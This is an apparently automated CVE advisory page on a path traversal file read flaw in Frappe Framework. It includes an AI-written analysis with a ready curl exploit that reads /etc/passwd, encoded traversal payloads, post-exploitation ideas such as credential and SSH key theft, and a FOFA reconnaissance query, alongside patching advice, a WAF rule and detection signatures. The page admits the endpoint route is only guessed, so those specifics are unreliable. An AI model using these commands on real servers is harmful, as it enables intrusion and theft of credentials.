CVE Professor
›
Back
CVE-2026-134370

CVE-2026-134370 — Frappe Frappe — CWE-22

HIGH CVSS 7.7 ⚡ EPSS 0.3% Shodan

CVE-2026-134370 is a HIGH severity Path Traversal & Arbitrary File Read vulnerability (CWE-22) (CVSS 7.7/10 (EPSS: 0.3%)) affecting Frappe Frappe. Technical vector analysis shows that an attacker can exploit this flaw remotely over the network with low-privileged access (PR:L) with zero user interaction (UI:N), triggering a scope change (S:C) across connected components and allowing unauthorized disclosure of sensitive data (C:H).

📄 Official NVD / MITRE Original Record Text

Frappe Framework before 15.120.1 and 16.x before 16.33.1 contains a path traversal vulnerability in file attachment handling that permits arbitrary file read. Authenticated attackers holding a single ordinary role without write permissions can abuse attachment handling to read server files outside the application boundary.

Published 21.11.2026
ISO Date 2026-11-21
CVSS Version v3.1
Source Shodan
CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity None I:N
Availability None A:N
EPSS — Exploit Prediction Scoring System
0.3%
30-day probability
In the 24. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

CVE‑2026‑134370 – Path‑Traversal in Frappe Framework Attachment Handling


🎯 What is this vulnerability?

  • Vulnerability class – CWE‑22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal).
  • Affected component – The HTTP endpoint that serves file attachments (/api/method/frappe.core.doctype.file.file.get_file_content – the exact route may differ between releases, but every Frappe installation that uses the generic File* DocType for serving attachments is affected). Root cause – When a request asks the server to return an attachment, the framework builds the absolute file path by concatenating a base attachment directory (e.g., <site‑path>/private/files/) with a user‑supplied* identifier (file_name or file_url). The code fails to sanitise the supplied value for directory‑traversal sequences (../, ..\\, URL‑encoded variants) and does not enforce that the resolved path stays inside the configured attachment root.
  • Missing checks
  • StepExpected checkWhat is missing / broken
    1. AuthenticationThe endpoint is reachable by any logged‑in user. The CVE states that any role without write permission can call it.No additional privilege check (e.g., “must be owner of the file” or “must have read permission on the DocType”).
    2. Input validationThe file_name parameter should be validated against a whitelist (e.g., only alphanumerics, hyphens, underscores, and a single dot before the extension).The value is taken verbatim, passed through os.path.join (or equivalent) and later opened with open() without a *realpath* containment test.
    3. Path canonicalisationAfter joining, the server should resolve .. segments (realpath) and compare the result with the allowed root directory.No realpath/os.path.abspath containment verification, allowing ../../../../etc/passwd (or Windows equivalents) to be resolved outside the attachment folder.
    4. Response handlingThe file content is streamed back only if the file belongs to the current site.The stream is sent for any file that exists on the host filesystem, regardless of its location.

    Because the endpoint is reachable over the network (AV:N), requires only a low‑privilege authenticated account (PR:L), and does not need user interaction (UI:N), the CVSS vector reflects a high confidentiality impact (C:H) with no integrity or availability impact (I:N/A:N).


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. All commands are syntactically valid; the exact URL path is shown as an illustrative example because the CVE does not publish the concrete route.

    1. Discovery & Reconnaissance

    ActionTechniqueExpected artefacts
    Identify Frappe installation– Fingerprint the HTTP Server header (Frappe/15.x or Frappe/16.x). <br>– Look for the default /assets/frappe static path or the /api/method JSON‑RPC endpoint.Server: frappe/15.115 or Server: frappe/16.30 in response headers.
    Determine version– Query /api/method/frappe.utils.get_version (public method) or read site_config.json if exposed.JSON response: {"message":"15.115.0"} (or similar).
    Verify attachment endpoint– Send a benign request for a known attachment (e.g., a logo uploaded by the admin) and observe the JSON response format.{ "message": "data:application/octet-stream;base64,..." } or a direct Content‑Disposition: attachment header.
    Confirm low‑privilege access– Register a normal user (role Guest or a custom role without write permission) and log in.Session cookie sid=… that can be reused for the exploit.

    2. Exploitation

    Goal: Read an arbitrary file (e.g., /etc/passwd on Linux or C:\Windows\system32\drivers\etc\hosts on Windows).

    2.1. Craft the traversal payload

    The vulnerable parameter is typically called file_name (or file_url).
    The payload must survive URL‑encoding and any internal decoding performed by the framework. A reliable pattern is:

    ../../../../../../etc/passwd

    Encoded for a query string:

    %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

    2.2. Send the request

    # --------------------------------------------------------------
    # Illustrative endpoint – replace with the real one discovered
    # --------------------------------------------------------------
    BASE_URL="https://target.example.com"
    SESSION_COOKIE="sid=abcdef1234567890"   # obtained from login step
    
    curl -s -k -X GET "${BASE_URL}/api/method/frappe.core.doctype.file.file.get_file_content" \
         -H "Cookie: ${SESSION_COOKIE}" \
         -G --data-urlencode "file_name=../../../../../../etc/passwd" \
         -H "Accept: application/json"
    # --------------------------------------------------------------
    # Expected JSON response (truncated):
    # {
    #   "message": "data:text/plain;base64,cm9vd... (base64 of /etc/passwd)"
    # }
    # --------------------------------------------------------------

    If the endpoint returns raw binary data instead of JSON, drop the Accept header and pipe the output to a file.

    2.3. Decode the result

    # Assuming the response is JSON with a base64 payload:
    curl -s -k -X GET "${BASE_URL}/api/method/frappe.core.doctype.file.file.get_file_content" \
         -H "Cookie: ${SESSION_COOKIE}" \
         -G --data-urlencode "file_name=../../../../../../etc/passwd" \
         -H "Accept: application/json" |
    python3 -c "import sys, json, base64; \
    j=json.load(sys.stdin); \
    print(base64.b64decode(j['message'].split(',',1)[1]).decode())"

    The output will be the contents of /etc/passwd, confirming arbitrary file read.

    3. Post‑exploitation

    PhaseWhat the attacker can do next
    Credential harvestingRead /etc/shadow (if the process runs as root) or application config files (sites/common_site_config.json) that contain database credentials.
    Further lateral movementUse harvested DB credentials to connect to MariaDB/MySQL and dump other tenants’ data.
    Privilege escalationIf the Frappe process runs under a privileged system account, reading /etc/passwd may allow enumeration of other users; reading /proc/self/environ could expose secret tokens.
    PersistenceUpload a malicious Python script as a *File* DocType (requires only the *Attach Files* permission, which many low‑privilege roles have) and later execute it via a scheduled job or a custom API endpoint.
    Data exfiltrationAutomate the traversal to pull configuration files, SSH private keys, or any source‑code repository stored on the host.

    Because the vulnerability only provides read access, the attacker’s impact is limited to confidentiality, but the information gathered can be a stepping stone to full compromise.


    🌍 Real‑World Impact

    CIA TriadCVSS Vector InterpretationPractical consequences
    Confidentiality (C:H)C:H – attacker can read *any* file the Frappe process can access.Exposure of: <br>• Database credentials (site_config.json). <br>• Private SSH keys stored on the host. <br>• Application source code, business logic, and customer data.
    Integrity (I:N)No write capability is granted by the vulnerability itself.Direct file modification is not possible, but stolen credentials can later be used to modify data.
    Availability (A:N)No denial‑of‑service effect is inherent.An attacker could cause indirect DoS by exhausting log storage or triggering rate‑limiting, but this is not a primary impact.

    Business impact – For SaaS providers or self‑hosted ERP/CRM installations that store sensitive financial or personal data, the breach of confidentiality can lead to regulatory violations (GDPR, HIPAA), loss of customer trust, and potential ransomware extortion after credential theft.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    Affected productFixed in
    Frappe Framework 15.x15.120.1
    Frappe Framework 16.x16.33.1

    All installations running < 15.120.1 or 16.0‑16.33.0 must be upgraded to the respective fixed version or later. The patch introduces a canonical‑path check (os.path.realpath) and rejects any request where the resolved path is outside the configured private_files_path.

    2. Immediate Workarounds (if patch cannot be applied immediately)

    MitigationHow to implement
    Restrict the attachment endpoint to privileged rolesEdit frappe/permissions.py (or use the UI) to add a permission rule: File.read → only roles System Manager, Administrator, or any custom role with explicit read rights.
    Validate the file_name parameter at the web‑server level (ModSecurity example)``apacheconf\nSecRule REQUEST_URI "@beginsWith /api/method/frappe.core.doctype.file.file.get_file_content" "id:2026134370,phase:2,deny,log,status:403,msg:'Block path traversal in Frappe file endpoint',\n t:urlDecodeUni, \n chain\nSecRule ARGS:file_name \"@rx (\\%2e\\%2e\\.\\./)\" \"t:none\"\n`
    Disable public file servingSet allow_attachments = 0 in site_config.json. This forces all file downloads to go through a server‑side proxy that can enforce stricter checks.
    Filesystem hardeningMount the attachment directory (/private/files) with noexec,nosuid,nodev and use a chroot or container isolation so that even if traversal occurs, the process cannot escape the confined root.
    Rate‑limit the endpointAdd a per‑IP or per‑user rate limit (e.g., Nginx limit_req_zone $binary_remote_addr zone=frappe:10m rate=5r/s;`). This reduces the feasibility of bulk file harvesting.

    3. Detection – Log signatures & IoCs

    IndicatorExample log line (Nginx)
    Suspicious file_name containing traversalGET /api/method/frappe.core.doctype.file.file.get_file_content?file_name=..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 200 1234 "-" "curl/7.88.1"
    Repeated attempts from same userlimit_req: limiting request(s) by zone "frappe", burst: 5, nodelay, client: 10.0.0.42
    Large number of base64‑encoded responsesPOST /api/method/... 200 10240 "-" "python-requests/2.31.0" (size > 10 KB for a typical attachment request)
    Access by low‑privilege roleIn the application audit log: User "[email protected]" (role: Employee) accessed endpoint /api/method/...

    SIEM rule (generic) – Trigger when a request to any /api/method/*/get_file_content contains ../ or %2e%2e%2f in any query parameter and the authenticated user does not have the System Manager role.


    ⚠️ Urgency

  • CVSS 7.7 (High) – Network‑reachable, low‑privilege, no user interaction.
  • No CISA KEV listing – The vulnerability is not yet in the “Known Exploited Vulnerabilities” catalog, but the attack complexity is low and a public PoC can be crafted in minutes.
  • Exploitability – The only prerequisite is a valid low‑privilege account, which is common in ERP/CRM deployments (employees, partners, customers).
Patch priority: Critical for any production environment that exposes the attachment endpoint to authenticated users. Apply the vendor‑provided fix within the next 48 hours; if that is not possible, implement the role restriction and WAF mitigations immediately and monitor for the detection patterns above.
Bottom line: CVE‑2026‑134370 allows any authenticated user with a non‑write role to read arbitrary files from the host filesystem via an unchecked path‑traversal in the attachment download API. The flaw is trivial to exploit, yields full confidentiality breach, and can be leveraged into full system compromise. Prompt patching and the mitigations listed above are essential to protect Frappe‑based deployments.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="frappe frappe"
CVSS Score
7.7 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-22
Affected Products (1)
frappe:frappe
References & Advisories (2)
Related CVEs
8.6
CVE-2026-129024
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Everest Forms
8.6
CVE-2026-131750
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Everest Forms
6.8
CVE-2026-109889
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Elementor Imag
9.3
CVE-2026-134258
Admidio 5.0.0 before 5.0.18 contains a path traversal vulnerability in the Documents & Files renameFile() acti
8.8
CVE-2026-134295
SurrealDB 3.0.0 before 4.0.0 contains a path traversal vulnerability in direct filesystem buckets because Buck
8.1
CVE-2026-134448
Finsys Dockhand 1.0.7 before 1.0.57 contains a path traversal vulnerability that allows low-privileged users t